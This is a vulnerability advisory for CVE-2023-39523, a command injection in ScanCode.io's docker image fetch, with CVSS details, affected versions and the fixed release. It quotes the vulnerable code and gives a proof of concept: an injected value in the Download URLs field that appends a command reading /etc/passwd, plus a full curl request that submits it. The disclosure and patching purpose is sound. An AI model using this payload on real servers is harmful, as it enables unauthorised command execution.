ScanCode.io command injection in docker image fetch process
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.
```python
def fetch_docker_image(docker_reference, to=None):
"""
code snipped ....
"""
platform_args = []
platform = get_docker_image_platform(docker_reference) # User controlled docker_reference passed
"""
code snipped...
"""
```
However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.
```python
def get_docker_image_platform(docker_reference):
"""
Return a platform mapping of a docker reference.
If there are more than one, return the first one by default.
"""
skopeo_executable = _get_skopeo_location()
"""
Constructing a shell command with user controlled variable docker_reference
"""
cmd = (
f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
f"{docker_reference}"
)
logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output = pipes.run_command(cmd) # Executing command
logger.info(output)
if exitcode != 0:
raise FetchDockerImageError(output)
```
A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.
1. Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs

2. Check docker logs to see the command execution

```bash
curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
$'http://localhost/project/add/'
```
Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.
Tested on:
References
[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
This issue can be reached from an adjacent network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability high.
The score comes from this vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
CVE-2023-39523 is classified as CWE-77: Command Injection. User input is placed into a command that the system interprets, allowing extra commands to be appended to the intended one.
CVE-2023-39523 is recorded against 2 packages.
Published on 7 August 2023 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
github.com
github.com
github.com
github.com
github.com
github.com
github.com
github.com
scancode.io has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-77: Command Injection) in other software:
Details
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| scancode.io | — | 32.5.1 |
| scancodeio | — | 32.5.1 |
References
Similar Threats
Exploit Protection
CVE-2023-39523 carries CVSS 6.8 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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